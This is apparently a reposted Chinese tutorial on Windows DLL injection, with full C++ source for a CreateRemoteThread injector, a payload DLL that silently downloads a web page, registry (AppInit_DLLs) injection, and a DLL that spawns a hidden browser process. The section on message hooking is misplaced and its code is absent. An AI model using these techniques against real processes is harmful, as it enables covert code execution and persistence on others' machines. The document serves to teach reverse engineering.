逆向工程核心原理之DLL注入
阿新 • • 發佈:2019-01-05
DLL注入三種方法:
使用LoadLibrary載入某個DLL時,該DLL中的DllMain函式就會被呼叫執行。
1.建立遠端執行緒(CreateRemoteThread)
使用InjectDll.exe在notepad.exe中注入Myhack.dll(winxp提權後測試成功)
InjectDll.exe原始碼
// InjectDll.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <Windows.h> #include <tchar.h> BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) { TOKEN_PRIVILEGES tp; HANDLE hToken; LUID luid; if( !OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ) { _tprintf(L"OpenProcessToken error: %u\n", GetLastError()); return FALSE; } if( !LookupPrivilegeValue(NULL, // lookup privilege on local system lpszPrivilege, // privilege to lookup &luid) ) // receives LUID of privilege { _tprintf(L"LookupPrivilegeValue error: %u\n", GetLastError() ); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if( bEnablePrivilege ) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; // Enable the privilege or disable all privileges. if( !AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) { _tprintf(L"AdjustTokenPrivileges error: %u\n", GetLastError() ); return FALSE; } if( GetLastError() == ERROR_NOT_ALL_ASSIGNED ) { _tprintf(L"The token does not have the specified privilege. \n"); return FALSE; } return TRUE; } //LPCTSTR用來表示你的字元是否使用UNICODE BOOL InjectDll(DWORD dwPID,LPCTSTR szDllPath) { HANDLE hProcess=NULL,hThread=NULL; HMODULE hMod=NULL; LPVOID pRemoteBuf=NULL; DWORD dwBufSize=(DWORD)(_tcslen(szDllPath)+1)*sizeof(TCHAR); //LPTHREAD_START_ROUTINE函式指標指向一個函式,該函式通知宿主某個執行緒已開始執行。.NET Framework 4 版 中已棄用此函式指標。 LPTHREAD_START_ROUTINE pThreadProc; //1.使用dwPID獲取目標程序控制代碼(notepad.exe) if(!(hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPID))) { //printf的寬字元版 _tprintf(L"OpenProcess(%d) failed!!![%d]\n",dwPID,GetLastError()); return FALSE; } //2.在目標程序notepad.exe記憶體中分配szDllName大小的記憶體 if(!(pRemoteBuf=VirtualAllocEx(hProcess,NULL,dwBufSize,MEM_COMMIT,PAGE_READWRITE))) { _tprintf(L"分配地址失敗!!![%d]\n",GetLastError()); } //3.將myhack.dll路徑寫入分配的記憶體 if(!(WriteProcessMemory(hProcess,pRemoteBuf,(LPVOID)szDllPath,dwBufSize,NULL))) { _tprintf(L"寫入記憶體失敗!!![%d]\n",GetLastError); } //4.獲取LoadLibraryW的地址 hMod=GetModuleHandle(L"kernel32.dll"); if(!(pThreadProc=(LPTHREAD_START_ROUTINE)GetProcAddress(hMod,"LoadLibraryW"))) { _tprintf(L"獲取LoadLibraryW地址失敗!!![%d]\n",GetLastError); } //5.在notepad.exe程序中執行執行緒 if(!(hThread=CreateRemoteThread(hProcess,NULL,0,pThreadProc,pRemoteBuf,0,NULL))) { _tprintf(L"執行執行緒失敗!!![%d]\n",GetLastError); } // If dwMilliseconds is INFINITE, the function will return only when the object is signaled. WaitForSingleObject(hThread,INFINITE); CloseHandle(hThread); CloseHandle(hProcess); return TRUE; } int _tmain(int argc, TCHAR* argv[]) { if(argc!=3) { _tprintf(L"USAGE: %s pid dll_path\n",argv[0]); return 1; } // change privilege if( !SetPrivilege(SE_DEBUG_NAME, TRUE) ) return 1; //inject dll if(InjectDll((DWORD)_tstol(argv[1]),argv[2])) _tprintf(L"InjectDll(\"%s\")success!!!\n",argv[2]); else _tprintf(L"InjectDll(\"%s\")failed!!!\n",argv[2]); return 0; }
Myhack.dll原始碼
// Myhack.cpp : Defines the exported functions for the DLL application. // #include "stdafx.h" #include <stdio.h> #include <tchar.h> #include <UrlMon.h> #include<Windows.h> // a sample exported function #pragma comment(lib,"urlmon.lib") #define DEF_URL (L"http://www.xinhuanet.com/comments/2018-03/20/c_1122561057.htm") #define DEF_FILE_NAME (L"c_1122561057.htm") HMODULE g_hMod=NULL; //LPVOID是一個沒有型別的指標,可以將LPVOID型別的變數賦值給任意型別的指標 DWORD WINAPI ThreadProc(LPVOID lParam) { //程式編譯為 ANSI, TCHAR 就是相當於 CHAR,當程式編譯為 UNICODE, TCHAR 就相當於 WCHAR.為了讓編譯器識別Unicode字串,必須以在前面加一個“L”, //_MAX_PATH是C語言執行時庫中通過#define指令定義的一個巨集常量,它定義了編譯器所支援的最長全路徑名的長度。 TCHAR szPath[_MAX_PATH]={0,}; if(!GetModuleFileName(g_hMod,szPath,MAX_PATH)) return FALSE; //從一個字串中查詢字元 TCHAR *p=_tcsrchr(szPath,'\\'); if(!p) return FALSE; //生成檔案儲存的路徑,將index.html加在當前檔案所在路徑的後面 _tcscpy_s(p+1,_MAX_PATH,DEF_FILE_NAME); //下載檔案儲存在index.html中 URLDownloadToFile(NULL,DEF_URL,szPath,0,NULL); return 0; } BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { HANDLE hThread=NULL; g_hMod=(HMODULE)hinstDLL; switch (fdwReason) { case DLL_PROCESS_ATTACH: // attach to process // return FALSE to fail DLL load OutputDebugString(L"myhack.dll Injection!!!"); hThread=CreateThread(NULL,0,ThreadProc,NULL,0,NULL); CloseHandle(hThread); break; } return TRUE; // succesful }
2.使用登錄檔(AppInit_DLLs值)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows下AppInit_DLLs的值改為myhack2.dll的路徑。LoadAppInit_DLLs的值改為1.
重啟計算機。然後開啟notepad.exe
Myhack2.dll原始碼(得加上提權的部分,不然無法注入)
3.訊息鉤取(SetWindowsHookEx)// myhack2.cpp : Defines the exported functions for the DLL application. // #include "stdafx.h" #include <windows.h> #include <tchar.h> #include<stdio.h> #define DEF_CMD L"C:\\Program Files\\Internet Explorer\\iexplore.exe" #define DEF_ADDR L"http://www.baidu.com" #define DEF_DST_PROC L"notepad.exe" BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) { TOKEN_PRIVILEGES tp; HANDLE hToken; LUID luid; if( !OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ) { _tprintf(L"OpenProcessToken error: %u\n", GetLastError()); return FALSE; } if( !LookupPrivilegeValue(NULL, // lookup privilege on local system lpszPrivilege, // privilege to lookup &luid) ) // receives LUID of privilege { _tprintf(L"LookupPrivilegeValue error: %u\n", GetLastError() ); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if( bEnablePrivilege ) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; // Enable the privilege or disable all privileges. if( !AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) { _tprintf(L"AdjustTokenPrivileges error: %u\n", GetLastError() ); return FALSE; } if( GetLastError() == ERROR_NOT_ALL_ASSIGNED ) { _tprintf(L"The token does not have the specified privilege. \n"); return FALSE; } return TRUE; } BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved) { TCHAR szCmd[MAX_PATH]={0,}; TCHAR szPath[MAX_PATH]={0,}; TCHAR *p=NULL; //指定新程序的主視窗特性的一個結構 STARTUPINFO si={0,}; //在建立程序時相關的資料結構之一,該結構返回有關新程序及其主執行緒的資訊。 PROCESS_INFORMATION pi={0,}; si.cb=sizeof(STARTUPINFO); si.dwFlags=STARTF_USESHOWWINDOW; si.wShowWindow=SW_HIDE; switch(fdwReason) { case DLL_PROCESS_ATTACH: // change privilege if( !SetPrivilege(SE_DEBUG_NAME, TRUE)) return 1; if(!GetModuleFileName(NULL,szPath,MAX_PATH)) break; if (!(p=_tcsrchr(szPath,'\\'))) break; if(_tcsicmp(p+1,DEF_DST_PROC)) break; wsprintf(szCmd,L"%s %s",DEF_CMD,DEF_ADDR); //LPTSTR表示指向字元/字串的指標。 if(!CreateProcess(NULL,(LPTSTR)szCmd,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&si,&pi)) break; if(pi.hProcess!=NULL) CloseHandle(pi.hProcess); break; } }